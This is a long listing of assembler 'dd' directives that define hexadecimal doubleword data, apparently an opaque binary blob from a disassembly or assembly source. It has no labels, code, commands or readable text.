dd 198A662Ah, 4B0C806Ah, 2125320Fh, 0D35CA5C6h, 1FAD9CE0h
dd 837CEC9Eh, 0C03A8FEBh, 29C027EBh, 6F00A561h, 53ED9994h
dd 58F65Ch, 0AA2E370Bh, 33F2438Dh, 0C086A80Bh, 730C91E7h
dd 7CB4DCC8h, 119001C6h, 939BA946h, 0E46376h, 424E08BCh
dd 0F1B68h, 0AB87F622h, 0C20D7119h, 8B3B1600h, 0A431EC5Dh
dd 90BC1C95h, 0CADC394h, 8898BADCh, 0F10A960Ah, 0A08FAB24h
dd 9DC1FA04h, 52F04080h, 4F6E0ADFh, 9F023A7h, 8881565Bh
dd 0C0EF8EFAh, 0ED0F9045h, 806DC201h, 5612C604h, 302D035Ch
dd 497086D4h, 6723FDB0h, 0AD7B4007h, 0EC01921Dh, 0E1D86B45h
dd 31F60E25h, 820FC016h, 0BC73BFC0h, 7F0094CFh, 69CC1B3Ch
dd 30830h, 5545F304h, 0C3FBC8A7h, 941EB61Fh, 0CADCC000h
dd 0EAD79311h, 0A7F443h, 6FEAAB80h, 0A2E122B9h, 5FA03700h
dd 0BDC89D0Ch, 497EA5h, 4D847007h, 4602668Bh, 0FF023CB0h
dd 1ED35DD8h, 0FB037DE1h, 0B0018EABh, 31677B80h, 1AD8FA98h
dd 918F074Bh, 27CDFAFh, 80FDD1EEh, 1B10542Bh, 0C4E10021h
dd 0C87DA8DCh, 1EFAC668h, 9D01247Bh, 26888593h, 6430DA5Ah
dd 0AA11009Bh, 1AFFF5F9h, 350EF7BAh, 9D4ABB94h, 7B72DC0h
dd 0AFFC05h, 31D08860h, 927B34FEh, 2EB21900h, 0B5A61415h
dd 0D3ED03D8h, 0DA2B16CFh, 3B67D4D8h, 9F708A00h, 0A88D522Eh
dd 144039AEh, 40DD279Fh, 0CEA5B57Bh, 0FC3AC432h, 0E40881F7h
dd 6322E6CDh, 0F6F3E4h, 302B96B9h, 0AEAA5415h, 3DE79C0Bh
dd 0E2000008h, 6642A3h, 1B1F3789h, 0C6D5819Bh, 0E6FECD24h
dd 7E59E900h, 992E09h, 98A05AE7h, 6E1893E8h, 441FAA73h
dd 268069C4h, 3B68AD04h, 280EE97h, 0C89ADE01h, 0B840752Ah
dd 0FD0025E4h, 1679B69Fh, 4B1E32h, 0CC5E2CFFh, 21DAA8D0h
dd 0A005ECB2h, 57C5C47Dh, 282CE0A1h, 40F1A81Eh, 6C6F27B9h
dd 0DA0051CCh, 40BB4E9Bh, 0B8F238F0h, 0EFD21E70h, 10B0C50h
dd 51018F11h, 0EA26D1C3h, 8474B92Fh, 710E363Ah, 59003299h
dd 5A20E638h, 0D38A95h, 89B4B1B2h, 7EC31477h, 83500403h
dd 0EFDDB525h, 4281BD70h, 0FF54004Ch, 8C8DEC4Fh, 0BC00E152h
dd 5908F5E4h, 4CAF67h, 174FC7CCh, 43EA22D2h, 423840A0h
dd 82877101h, 6A9BF8E0h, 7A6FB0D3h, 0A31400FFh, 1AFC1EA5h
dd 960F485Dh, 0E77C62B5h, 0FDA185F3h, 6E7023A0h, 0C4800E9Eh
dd 20807116h, 0B7842DE1h, 8D0F6700h, 624B68E6h, 1E730039h
dd 2B81BCC5h, 0B648103Dh, 48CE0F4Ch, 8215A0FBh, 3DD5FE13h
dd 0ED80C157h, 5BB76042h, 0B43A48E6h, 0E007E9Ah, 9701B9C8h
dd 4C44056Bh, 0FF057D3Ah, 9418B6h, 6F343188h, 0AA3CE44Eh
dd 0B3E96701h, 0D46CEB81h, 3B5D1180h, 37D2291Ch, 39EC510Ah
dd 4D18A0BFh, 96F821h, 2B05651Ch, 7898E092h, 0A00A7F8h
dd 55CA5E1Ah, 0AF66FD6h, 0F01595BCh, 685C03B8h, 0D1D843A2h
dd 700EE0B1h, 8CDFFA85h, 0B98909h, 39984386h, 4BB1F8D6h
dd 0D70D02E2h, 0B0E23B7Dh, 80EDA891h, 0D2231C51h, 61448CA7h
dd 1CB400FAh, 88B6E5C1h, 21249FE6h, 7F9D284Ch, 8C484400h
dd 2A6A2Ch, 69725A6Fh, 8DDDFE2Fh, 0C79F5D07h, 0B6852234h
dd 297896C0h, 81F900F2h, 0B1834D30h, 591D7D95h, 0F500B991h
dd 270B2CADh, 8472D2h, 0E09C3A60h, 0E808454Dh, 5878E0B5h
dd 2F7A3224h, 4973011h, 98AF31C1h, 4871080h, 455DE02Bh
dd 0D8DD2100h, 43773893h, 31350678h, 2855F8ACh, 0E92DE722h
dd 0B6206808h, 11804277h, 19210FB2h, 51427B0Ch, 0EAF94474h
dd 44651144h, 3C627CF1h, 24ED0829h, 2051228Fh, 58722203h
dd 987BC107h, 9ED05B1Ah, 0B0FB19CCh, 28DD0090h, 2B548AECh
dd 84001774h, 0D27F2333h, 1D944CCCh, 41C679AAh, 0CDF6FD85h
dd 97ADF8A4h, 46687D00h, 0AF5F4192h, 4023009Dh, 0E9F6D3C7h
dd 37008399h, 1C0DDE1h, 383B3F07h, 7A02585Ch, 969D117Fh
dd 79885663h, 0F6035476h, 4F176BF1h, 8B7CF014h, 107D0337h
dd 0D1EC8270h, 7EF9FA98h, 6BC27602h, 0C09793CCh, 765AF838h
dd 1B8F07A5h, 0D0870E1Dh, 9C7BC3A9h, 13C2D8A0h, 0B1CCB400h
dd 0E6A4DC5Fh, 0F81500B2h, 8A7D9A80h, 581C45D8h, 0BC986F96h
dd 0C9E9860h, 0BB0B8FF1h, 0B3008E10h, 9B775A06h, 0B5EC3Fh
dd 2D0A1D0Dh, 0BF100E34h, 0DEB1BA2Dh, 73310014h, 18FE63B2h
dd 64498900h, 507232E9h, 0CABD1829h, 8CAB201Ch, 4038E830h
dd 0C39244BEh, 9B4A89D4h, 3DFBA5E0h, 2B79471Ch, 0B09F916h
dd 604400EDh, 26632CE6h, 1F3E48FDh, 58047A19h, 81EA754Ah
dd 709E3956h, 0E071BB9h, 1C7E20Fh, 9D5E7B00h, 1D85007Ah
dd 93988E88h, 0D7009E60h, 7E774331h, 0F43D08h, 52562844h
dd 5B546E84h, 4500CFB0h, 4CB9DB89h, 53BEAC4h, 32D2157h
dd 337BF013h, 0AE462B00h, 656B3864h, 1E940CA9h, 212EAA0Eh
dd 0E7E65D00h, 7886A106h, 0B7F8A5h, 717CF657h, 3C5412FEh
dd 204548h, 4B7F6C86h, 14119F0h, 0E4DBD921h, 609BCB38h
dd 0BB0A4394h, 0ECAB27E8h, 0C011120Eh, 28847BAh, 0DE8E017Ch
dd 85BC4FACh, 8F1EBE5Bh, 0C0EE2835h, 19A4E2AAh, 0D83D006Eh
dd 0E0121BDAh, 0D200D741h, 94BB9E87h, 0E07AB445h, 71AA004Eh
dd 0AFF3AB39h, 3C00D4CBh, 3BF7385Bh, 0ED1CC58h, 9C425FFFh
dd 3AF23403h, 12BE1FF0h, 461B1E00h, 0C45763FEh, 9A810EA0h
dd 8689C1CDh, 461E0C20h, 50006404h, 27582CB3h, 509BD19Fh
dd 0F45EF429h, 0C18C0047h, 0E663869h, 0F4120A23h, 485B79h
dd 3F20EEB0h, 194F617Bh
dd 52B2B300h, 0A9701E13h, 0E3883EDAh, 0F881F000h, 0BECCA6FAh
dd 0ED5E1600h, 0B50AF3EAh, 1FBC01E9h, 1E65029Ah, 1D95202Ah
dd 2981F100h, 61CE1921h, 0F6D03CAh, 644CC3ECh, 5D97C2A8h
dd 19415900h, 5368FEC6h, 695700CCh, 20291AE2h, 0BD00A595h
dd 677259ECh, 555E61h, 1973816Dh, 8332220Eh, 8B05F90Fh
dd 4C0A44D1h, 0E7D6B0C0h, 0B4C40003h, 6D0EC9A5h, 3C001BE4h
dd 0C2DD182Bh, 79951Dh, 0CD736682h, 2DFE201Fh, 32E34005h
dd 0D200919Dh, 0AF10B837h, 0C2CE0092h, 0CA4703C5h, 0FB01BFDDh
dd 15B02BE5h, 13E0DE0Dh, 2FC97BA1h, 3FE0CADFh, 0DB0408C1h
dd 7FE3D6D9h, 0F7E24CC0h, 6177F439h, 0D8511083h, 98E9C805h
dd 0D456FA00h, 0A8D727Ch, 809A82h, 1AC79086h, 2151CF14h
dd 0A12C6776h, 7300677Eh, 4930FB18h, 1E5AE061h, 83B87BFCh
dd 1E74EE0Eh, 0C04FC998h, 1FE46C1Ch, 0F019E027h, 0DF220520h
dd 806EA1D7h, 0E9A6D8FBh, 6A00377Ch, 82402504h, 7036B74h
dd 4F889E4Bh, 84F9C034h, 2E00C762h, 0FFFC0E05h, 0B5465Eh
dd 368AC0F2h, 56A3387Fh, 6F395500h, 0A81B683Bh, 2F740043h
dd 0CCEF2980h, 38036C0Ch, 0E322D7BEh, 89BA88C0h, 75F000B4h
dd 7C420A18h, 0CB009F85h, 0B95723BBh, 9569CFh, 4037298h
dd 0A26A4558h, 52663100h, 0B3EC563Dh, 5A4600DCh, 64264393h
dd 8C010119h, 0FE9FFFBh, 55F46B09h, 65B900D7h, 0B7E79BDEh
dd 0A5002F92h, 7662A2BFh, 741306h, 0CEB173C1h, 7A97EEF4h
dd 75D7C300h, 0E155DCF6h, 17FF48FEh, 6835150Bh, 0E4F488h
dd 0A3FC7B02h, 0AC00C145h, 6EA63EE6h, 3E49A59h, 0D86DECEAh
dd 478BBC4Ch, 4D89B8C8h, 0AE250E00h, 3C686F6h, 0F08B00BEh
dd 0D3D84714h, 690161DEh, 49724BD9h, 0D1F05343h, 67FAA9h
dd 79AF2EB8h, 22F41ED2h, 3D422B00h, 0A0957321h, 0F29A045Dh
dd 0C0334631h, 0F1A205DAh, 94CE148h, 8AD88Fh, 5CB8C038h
dd 1E767CC8h, 450EC6h, 1C261D95h, 0D600DCD1h, 60D86E8Dh
dd 1706D3C4h, 0D2B242h, 5A2617D6h, 0A90135F9h, 3143A1E8h
dd 0B4205CDDh, 1B6B003Ah, 79710F78h, 0AF1229D6h, 3902A9C7h
dd 40996A80h, 2146D9h, 0CCE49727h, 9F14506Ch, 0C4B27F00h
dd 1007A6F8h, 5A6207D3h, 0A0948389h, 0A961CA46h, 8050B74Ch
dd 41FFEEF0h, 91A2423h, 0D7B500C4h, 11C0D196h, 8FD34D00h
dd 1A5A7C53h, 38BD7A50h, 2A87F28Ah, 0A0249288h, 0DBDA160Ch
dd 0BE57D400h, 6D3C0809h, 9E580A33h, 2F9A8DEh, 5F37E767h
dd 351DCD40h, 0A146CA07h, 89132DF5h, 0E885D0FBh, 7FCF00BEh
dd 83974574h, 0C00FA904h, 6067BB2Eh, 105D854Fh, 9D10005h
dd 0A6DEC8BFh, 0EA1DB334h, 1D8097DCh, 0F48B4BFCh, 62450202h
dd 58740DBEh, 6A52BCC0h, 34008B98h, 1BB5727h, 503903h
dd 7124C0C9h, 9A1EC819h, 2A0458B0h, 417F6F7Ah, 42D003C7h
dd 1A0722h, 0D9E2CDA8h, 0B0FE92E8h, 0F1183A01h, 0C7817D29h
dd 62CFC0h, 2B03D7A3h, 0E1AC975Fh, 1D7CC205h, 588177FDh
dd 65EC38D2h, 282600F5h, 0FB0C1492h, 99002F7Ch, 54B1F1FEh
dd 341B2ECh, 9C13FAC1h, 24901EE8h, 995CCEF3h, 800C3C84h
dd 0CB846DB7h, 0B9034Ah, 8C694858h, 20EBB2E3h, 4443EE00h
dd 9F4E52D7h, 40D90056h, 0B4173F8Fh, 0B2005FC9h, 0AA959BCCh
dd 202BC7h, 0DC1FCB14h, 40BAFD0h, 640AB460h, 383087Ah
dd 6B737480h, 100087B9h, 19042BE6h, 0D9A5FEh, 5D6CAC36h
dd 0FDF8BB86h, 243A7918h, 4C0C8168h, 4014DFF9h, 7D8C5Eh
dd 397BEBC1h, 993B8F36h, 0BEA4900h, 16272E63h, 17E77E1h
dd 4ECE5185h, 2FBA5701h, 6883280h, 9E4AD3h, 5A844C68h
dd 0B7F4AB6Dh, 0DFE60D00h, 0D580F921h, 6B4E00EBh, 32BDB6DBh
dd 0D600B2C2h, 0DEF7A070h, 16D2629h, 27D25C9Fh, 0EE950A60h
dd 0B45B72E0h, 0C68C9116h, 0CF84B31Dh, 3DC0D7E1h, 1E22B0FDh
dd 404D5561h, 0C30428C8h, 93007471h, 347D94B2h, 0C46621h
dd 0BFB5E91h, 0AFA78CC6h, 0E201B600h, 5275CEA2h, 47EE68Dh
dd 0BFB19FD3h, 60B480B8h, 307E4D9h, 9BC8888Fh, 986EA7B0h
dd 0ECDB005Bh, 7C0431DCh, 930A9C73h, 0F8CAD0BDh, 70002612h
dd 666E3C3h, 0DE410087h, 1E91E781h, 1103B9C8h, 362F2AECh
dd 0F56088B1h, 1326006Dh, 0F25DA4F9h, 0A001636Ch, 285C8D96h
dd 6870ED24h, 5CEA5CAFh, 694E5900h, 0F03BC28Ah, 0CA629B00h
dd 0DA713EB0h, 6E990276h, 0F9556342h, 20B29261h, 860020FEh
dd 0D623674Eh, 3F767E74h, 9E0C5A41h, 0D329CA12h, 2E829507h
dd 66B0C4BCh, 0EC167Eh, 0E1110F3Eh, 8FAE57A6h, 0D677300h
dd 0FC2A19D6h, 22340295h, 0EBDDF0D1h, 4AA70A0h, 0AD16AC9Ch
dd 540031BAh, 1A8E73B6h, 0DDA83C34h, 0D3BCE0Fh, 0D961C160h
dd 7F305F43h, 0BF30E0DEh, 549805D1h, 0C05AF24Dh, 0A9EF2CBCh
dd 0EC25C800h, 6F067AD2h, 0A1E30E43h, 8415681h, 801DE0BEh
dd 18019AC8h, 4CCC2E24h, 5D1832D6h, 0ABA65875h, 5EDC0E00h
dd 0C36073D5h, 3F6E0546h, 80BA3BFEh, 0A3561D74h, 2D27A100h
dd 1F51888Ch, 7CF85CBEh, 0A0A21300h, 0D057126h, 70E5C178h
dd 2D5010E0h, 30B0648Eh, 800035EEh, 0AB17FCCBh, 0E2DB77h
dd 398946E6h, 9A2DF788h, 0D2713600h, 7E5A3A9h, 0A50E0026h
dd 1A3B0835h, 9400D9C4h, 825E3102h, 0B87174FBh, 0EC4908Ch
dd 0EC0B7069h, 1311317h, 9CC36548h, 9200F2F6h, 0FC4FEFF3h
dd 2E450B99h, 80A0D881h, 31BEB925h, 5E758900h, 7B787EFAh
dd 44C20704h, 0D02777CCh, 636F4FFDh, 0C6C8401h, 0BADEE293h
dd 498440DAh, 688F00B4h, 0DC8E8C38h, 0A0032BF6h, 73B360D5h
dd 0AD72B153h, 4AA75860h, 0B53000B4h, 48E38E19h, 0F55D5C2Ch
dd 0EC00B124h, 72FABA7Dh, 3D080121h, 2D8CFCDCh, 0C0F44058h
dd 1BE2C649h, 72BE6B00h, 4BB79894h, 0D0A80059h, 0A3D2C97Dh
dd 0BD0061B5h, 41FABB13h, 2804711Ah, 0C0A177h, 52FB178Dh
dd 0F22951D3h, 6CC2E201h, 2C6D3D2Dh, 67000022h, 5D8408DAh
dd 6FE889B2h, 6600877Fh, 5298CC81h, 0E3C5BA5h, 0C6B82320h
dd 600ACFA0h, 0C81435B7h, 0B8937Ah, 0EC1E26FFh, 0D3E7B4h
dd 2AD6F5Eh, 5080651Dh, 2421E300h, 0CF688EF8h, 2817009Fh
dd 681DF1Fh, 44037A78h, 70C2959Dh, 0D99CD072h, 809E0EE0h
dd 0B9E07D97h, 0B761CE2Dh, 57798208h, 0D37C02F8h, 58401CA2h
dd 261E8496h, 74C05861h, 8249C7F6h, 0FAEF0042h, 7E9C0FDAh
dd 361F8E34h, 960FBC29h, 71433D7Dh, 0E8119F8Ch, 40386Eh
dd 0ED205018h, 10883EA1h, 0CEBA2700h, 58D8F953h, 1F2B00E8h
dd 477A4D74h, 525A0E9Fh, 92590C09h, 704B62A8h, 10120000h
dd 362E3F3Bh, 0C3B21D6h, 0EAD28056h, 0A8F6ED29h, 0DFB5008Dh
dd 198B9D6Fh, 9E00BC0Eh, 0EB1745DDh, 5AAB9F54h, 53141F95h
dd 0FD84C03Fh, 5748FE8Dh, 32EB0010h, 131EE697h, 6AFF0719h
dd 0A0C296EAh, 9ADFF948h, 19C589Fh, 6E47A9C3h, 70C927AAh
dd 0FF1236E4h, 0E4008152h, 239DA6CFh, 0E4F90345h, 7AD78F62h
dd 54976003h, 904B5069h, 60425D63h, 0FDBC1876h, 79018EC5h
dd 1770E11h, 10D1B365h, 2448BF20h, 0A4EB50h, 946C6807h
dd 0EE004E40h, 5F6AD0C9h, 0F47ECBD1h, 544F001Ah, 677B6959h
dd 0B77E8E98h, 77DF9C00h, 4C1E40BCh, 1B0B17BFh, 0AED442D5h
dd 42008359h, 7D8CE13Eh, 0AD9D0069h, 0CC5B50EEh, 1614A1D5h
dd 9CA210h, 0F67B0C66h
dd 0D688B3h, 0AB3E58C8h, 825260A3h, 3AFCFE00h, 0A8EA3419h
dd 2FCE02AEh, 0E47981BEh, 963D8464h, 5A7B00DCh, 0B849984Ah
dd 8CB842h, 564D6D86h, 0AC2B33F5h, 13636900h, 4AB3735Bh
dd 19FE55h, 9281916Ah, 617BF771h, 93443Ah, 0B02917E5h
dd 22F1948h, 0D78C63CFh, 64C486B7h, 78DFE300h, 0EC9E3406h
dd 81970072h, 2DE87D95h, 13ECC3A9h, 35005890h, 0F28C2CABh
dd 2DEA9843h, 4C00A4D5h, 0FC2D1393h, 5ACB600Fh, 9799C170h
dd 0C2EC957Eh, 92C61CAAh, 208E8005h, 30B3DE9Ah, 8059F23Fh
dd 4611692Bh, 12F5077Ch, 0E8E02Eh, 0A879D18h, 1300BCA1h
dd 1B3A8BDAh, 230876h, 21E18656h, 8C8FB639h, 4000C0B0h
dd 0B5A0FCECh, 782BF285h, 0F752078Dh, 0B2FE9B61h, 8157A30Dh
dd 0ED7F8C2Ch, 93CF1180h, 153F6896h, 0BD04CE00h, 282FAABBh
dd 76DF259h, 722D0D4Eh, 6AD25067h, 9A0025C9h, 60DE2A0Ah
dd 374DF9h, 263E9B50h, 0A5DA2431h, 0B0448100h, 0C929C34Bh
dd 0F4B1038Ah, 0B539F75Fh, 59F35B90h, 0FA614200h, 0C6A44C78h
dd 0F9BF00C7h, 3197FB09h, 74006FF0h, 0E6D61FCEh, 4C1D9Ch
dd 84351C12h, 538AEDEEh, 9524850Eh, 9C6CE07Bh, 3B3966D8h
dd 8D00FC06h, 0CC70B262h, 551D5C09h, 0CB00D31Fh, 67D7763h
dd 74DA008Eh, 0BB667F59h, 0F701B2F8h, 48FE0291h, 38F8C789h
dd 0EA120043h, 0F858B150h, 0D31F5C71h, 208F9626h, 0AF942044h
dd 7D97EFEh, 6A293057h, 0D84C30BCh, 10181593h, 0D1F062B1h
dd 975700DBh, 3AC99440h, 0E0B54314h, 0F435AF16h, 6200018h
dd 6550495Bh, 5F001196h, 0E44F0854h, 0BB44F0h, 0D4073AD5h
dd 62C07A1Ah, 27575500h, 65719CD2h, 0AF7E5Bh, 251F58E4h
dd 61A88884h, 0EDE23200h, 0F506C9E7h, 40E500F2h, 0C638CE90h
dd 140AE137h, 0D832C52Bh, 2841981Eh, 51C4A189h, 68808EC1h
dd 796E7256h, 0E80065E5h, 10A1610Fh, 87DF85h, 0B45A2C99h
dd 31F0FD05h, 72D84300h, 0EA07CDBCh, 8B750503h, 8070C146h
dd 0B21029D6h, 0B13E9306h, 0E2322063h, 81266F9Bh, 17ABE00h
dd 2270B9D4h, 6C14AE74h, 14101B9Ah, 381CC4B0h, 0ED1E80A1h
dd 491DE993h, 27C83E42h, 0B218C0F8h, 2A1ACF8Fh, 0FE713000h
dd 0C26C794Ah, 0F2BC09A8h, 0A500AF64h, 590E96CBh, 0F0EADB00h
dd 0A505C243h, 0C1320C31h, 0F179DD8Ch, 833ED498h, 0F011E0F5h
dd 50A920A6h, 1F1CF1AAh, 3061AF57h, 56A4321h, 0C659F40Ah
dd 0AA2C5822h, 214C3200h, 0C7551Ch, 158A1126h, 740E180Bh
dd 83003BE4h, 69FE3756h, 4C1D2517h, 0A6014AB7h, 81E624E4h
dd 8821E8F8h, 7AEF3Fh, 0D1F26FC9h, 7F458E28h, 47DB1E32h
dd 446E69h, 0CE4C1CF6h, 0BB0C086Ch, 0D1D9BC2Eh, 0DA880E0Ah
dd 4D604FF4h, 0DF1E6383h, 27858F06h, 0B11AAEh, 0B42843C2h
dd 664FBFEAh, 9239C4A0h, 85F0252Ch, 676DB200h, 543A7781h
dd 53D027h, 0D49622E4h, 3609C371h, 940076F2h, 0EFEEA51Ah
dd 3019D3CDh, 0B131335Dh, 0AD005E13h, 7CEE5550h, 351C6B2h
dd 192327F8h, 290F3472h, 6D5426h, 6542B92Fh, 13C630CCh
dd 38609AA9h, 0E43E68F6h, 726A09BAh, 78A981B7h, 0CF30D10Ch
dd 0D0F06083h, 39F4CED7h, 19592560h, 81B490h, 5EFED5E2h
dd 0CFFF9FC6h, 21A5FA01h, 9765BAEEh, 20C04E80h, 70D0B049h
dd 15644479h, 76413EC8h, 0E4902380h, 99C07AC7h, 3D5B62F3h
dd 0D2860064h, 1DA41C54h, 3F0CCFA5h, 29239A27h, 0C350009Bh
dd 0D985B3AFh, 0B6F8493Bh, 0EDA0B90Fh, 68D5A030h, 0BAE08Ah
dd 86D624ADh, 67091FDCh, 0EEA4500h, 894ACC2h, 58903C1h
dd 0ED788459h, 0DFE044E3h, 3302C08Ch, 28A08A4h, 0B6F2209Dh
dd 1B03D27Eh, 1335DD3Ch, 0A70830B4h, 7EBF5121h, 0AEE79C00h
dd 74D14F47h, 0EC580071h, 9ECCA90Eh, 8A039B08h, 893D2067h
dd 0DCE1C092h, 44E4DDh, 0BCFFF2C1h, 0D0F4E7C9h, 0A4F888h
dd 315D62DDh, 86231EBBh, 27BED71Fh, 0FE5C2C80h, 64FAA77h
dd 0F29378BFh, 0C103393Fh, 49B39E7Fh, 6911008Eh, 0E5954355h
dd 3D7AD4A9h, 7D085163h, 0CE200093h, 0B2ED43AEh, 9200DBDAh
dd 20096814h, 0ECCB38C5h, 60996CE0h, 48CB858h, 0E0F84356h
dd 20966251h, 0E543A3C9h, 0B6CD8800h, 6C7007A2h, 12E40A31h
dd 91B4C3E3h, 7EF0808Ch, 8CEC1BD0h, 539544h, 0DC377EB9h
dd 0FF0240C8h, 98F12B30h, 60384817h, 0DDE6A8FBh, 0C43A281Ah
dd 7C040072h, 4E4C02FDh, 6BE816h, 91DE6265h, 3F78D301h
dd 0CCB0962Eh, 6093E30Eh, 8DA27DD4h, 0B6E000F7h, 0A7FE477Ch
dd 9F003E06h, 84266B86h, 11BEBFCh, 799B8C9h, 0C8CC3CE2h
dd 8600E723h, 3AB9F401h, 30CC882h, 9ECAF11Dh, 9931C79h
dd 786A7488h, 80DC6F3Bh, 68FAC12Ch, 98E53975h, 0C59E2F8h
dd 77E1F7B4h, 4C1BF229h, 0E1100E3Ah, 198059DDh, 7144F5EAh
dd 0D03A8C64h, 7CE040FAh, 480460C6h, 0A2EF1C0Dh, 0CCB7200h
dd 7C65DCFCh, 0F6A53CA3h, 0F9D91801h, 0CC70764Fh, 6F0080E8h
dd 437BC78Ah, 1EF255A7h, 865E8Fh, 0F1B0E4FEh, 0D0FDA9F6h
dd 0AE0048FFh, 0BF1DD454h, 1ECA5EC6h, 0C074EA0Ch, 2E4591E1h
dd 0B0015CA3h, 79F2C432h, 0C1886F66h, 6C865DEFh, 0C197AC0h
dd 76D6DAF3h, 0A26F8AA8h, 0CAFA8520h, 0E32391C0h, 1C16035Dh
dd 6A5ADAF2h, 0F08AC000h, 94FC5566h, 0B7320028h, 397F9DBh
dd 7D03E786h, 899CA3E3h, 0AA4190EDh, 0F301000Eh, 1F443F20h
dd 0D700F449h, 0E94F3E8Bh, 0FD43829h, 1CBD6D2Ch, 0DB124180h
dd 0F8E8982Bh, 43EB6200h, 0CA5AED07h, 0B3023C90h, 0D0282700h
dd 2210B20Ah, 5BCD6700h, 0D713BD6Fh, 0F503039Fh, 90C1A77Bh
dd 677AB188h, 317E2400h, 1E85688Eh, 18690026h, 0B9D8C643h
dd 2F03DAFFh, 88F7BCFEh, 7680B0B7h, 0E321008Fh, 17F4BF7Bh
dd 97EE504Fh, 0D1B39007h, 60A0968Dh, 0F8FE2F3h, 80C73615h
dd 0FF141800h, 1D0A9725h, 80ECFEF8h, 4E3293Eh, 3D50185Ch
dd 0B119582Dh, 0BFBC0E5h, 4F6A5200h, 0DD7E5E60h, 50C606F3h
dd 28EA477Ah, 421E0C22h, 0D364116Eh, 11460611h, 5A212695h
dd 90D15D08h, 37D48462h, 0FA451648h, 420E2808h, 224312Eh
dd 12D26821h, 30CF108Ah, 6D081E89h, 22F88820h, 0A75049D6h
dd 4345CA64h, 4429EEFFh, 90A007F2h, 0D5002EFEh, 6F0A5843h
dd 6B3923h, 91B0952Fh, 8867738Eh, 68E06Fh, 72083B74h, 55A5004Ch
dd 5B02BDDAh, 4D00E647h, 0BBB1267Ch, 203C25h, 2C17AF60h
dd 11F64F5h, 0A0F1E800h, 0EEA9E1FBh, 0BB905A8h, 1F95A62Ah
dd 80F74097h, 0F4F3CAF6h, 0EE81EF07h, 11009939h, 6C3A29h
dd 93E46F91h, 50383BB9h, 4B9B4C00h, 645BF4B1h, 0E90900DBh
dd 74294054h, 7E00FC73h, 19BF71F9h, 951B0A9h, 5B22BC21h
dd 5E100Eh, 0EABAF398h, 0D6186A8Eh, 0C6586F50h, 0C3AA3FF8h
dd 3C00473Ch, 1101FD56h, 0DF049130h, 883236C4h, 0B7383080h
dd 6726122Dh, 0CE861FAEh, 7B6BA03Ch, 5FB08600h, 8C9036D5h
dd 0C48F5B00h, 0A839728Ch, 6DF60078h, 80DBAF5Ch, 9000E7E8h
dd 0EB719F1Ch, 3E526EF2h, 40000EB2h, 0A13BDFB1h, 30038A41h
dd 0A8E06379h, 7C0AE837h, 0D3920943h, 815704BBh, 0BC0762BBh
dd 2A7FFCh, 3D5650B6h, 0C79DBFDFh, 0C01B5700h, 0FF6810A3h
dd 122B0047h, 0E4666FF2h, 367C6318h, 0B85A3Eh, 8B31510Bh
dd 0AABA1Fh, 365C3EAh, 0B9431030h, 0ED7D8300h, 0C2D502C8h
dd 1FB100B4h
dd 0C0D40DE0h, 240322E5h, 0CF43736h, 0F3C0E55Ch, 0F2F076h
dd 0A7F2C33h, 3EA0D112h, 9EDE6700h, 0E5D9A824h, 118903Ah
dd 21B258FCh, 0D0965CADh, 0FD48C474h, 386200E4h, 0A7F10D93h
dd 0D4F0DDh, 89430ADBh, 0AB366E7Dh, 69809100h, 887AF14Ch
dd 0E36600A0h, 94C4AF6Bh, 3100E5D7h, 0B0DB5DADh, 5816F6h
dd 7C24EAFCh, 0DFC879D3h, 0AE497D00h, 0FE0B355Eh, 96E3006Eh
dd 81E64A7Eh, 0F019CD4h, 39F69434h, 6DF00356h, 251800C0h
dd 0F48A4DB5h, 7BF884BCh, 65E21F01h, 15335735h, 55F930h
dd 53448180h, 2660FEA9h, 90C21800h, 0C68D9D1Bh, 0EBA8000Ch
dd 77624238h, 95076504h, 19AE173Dh, 0A07A4133h, 7299B9h
dd 0C69D486Bh, 974292A0h, 340393F0h, 18A7761Bh, 5F7BC855h
dd 6A0801E0h, 0CFFD767h, 0CAD8D375h, 120038C3h, 0A48BBB74h
dd 7E6B5Ch, 0CD3ABC94h, 9CD3B10Eh, 989D5400h, 73F01216h
dd 0FD0600D7h, 364B3C35h, 8B00FACAh, 901D49EEh, 3446227h
dd 6E145086h, 0ECC056BFh, 0CF00C478h, 80ED5FF6h, 841BA4h
dd 26DBE33Dh, 572C4998h, 2AFC5200h, 22F74FB2h, 0AE16003Eh
dd 235478D9h, 4CF21A6Eh, 18389100h, 2C72BECh, 4B6500F6h
dd 6F0D8286h, 6400108Bh, 8962EEC9h, 1184CAAh, 0FE19A121h
dd 2B3E9A97h, 0A02A3680h, 7C6B0084h, 226289E2h, 0F0F7C5D6h
dd 0DF0043F1h, 4CD1527Ah, 0A0EB2383h, 0F83C75E8h, 0E4BE5424h
dd 74E00011h, 0F6619606h, 0B57C8A7Dh, 2FB62B00h, 5827A92Dh
dd 0AC0A00A1h, 3BBE6403h, 63005034h, 22BC38Ah, 900B81h
dd 0BF997FECh, 1A24F837h, 8F321300h, 0F43ABB62h, 7E270196h
dd 11FFC02Ah, 0E929F449h, 0B06A4E07h, 403F6EACh, 0CDE2A5DFh
dd 0C37500DDh, 0E9710FDBh, 6E3D6CB6h, 89068BD1h, 0AF700021h
dd 7138EAE5h, 6CD600ECh, 0AA67F5DFh, 0E0B09FA5h, 17B90C00h
dd 76FD5FADh, 521300B6h, 0B220F92Fh, 0DD7E7179h, 166A7D00h
dd 0BD79CAAh, 3FA53D32h, 0EF89580h, 396876CDh, 0D100ECE0h
dd 8F249D98h, 0F0B299F5h, 0BC1500C6h, 45B56950h, 0CF0F8CA9h
dd 60DB5C60h, 423FDDE9h, 0A6B0046h, 7A40C0FBh, 4800850Fh
dd 2EFD167Bh, 9560EB4h, 0DF0B1A72h, 0D7B15803h, 746EB08Fh
dd 131C9B79h, 5980191Eh, 97A2C0D5h, 22E7002Ah, 9020F86h
dd 1200F736h, 9254B3DEh, 3F899BCh, 466351D8h, 6599C4ADh
dd 8A553097h, 76BC4E02h, 40D81893h, 0A100910h, 3A468C52h
dd 70003980h, 77E93566h, 0D7012583h, 0C7232E14h, 0AD700EECh
dd 0CE690E9Dh, 983E018Dh, 1F17C899h, 2405CC00h, 3DBE1449h
dd 4E0724E2h, 0D3B600A6h, 513047F4h, 0CA571D01h, 0F8F67C0Eh
dd 391E20h, 48C48455h, 72165283h, 5E3AA81Fh, 26869F00h
dd 1896C589h, 38D35514h, 2B02925Bh, 0EFC1503Ch, 0A243B8h
dd 629FC9B8h, 0C858146Eh, 4263671Fh, 0A3508B40h, 55DD80h
dd 3E9D1A8Ah, 8759F723h, 0B09ECB00h, 9371ECEFh, 630600DBh
dd 0E9FCE3F4h, 0FCFD264Ch, 2E00E622h, 2C663EABh, 1DCE359Fh
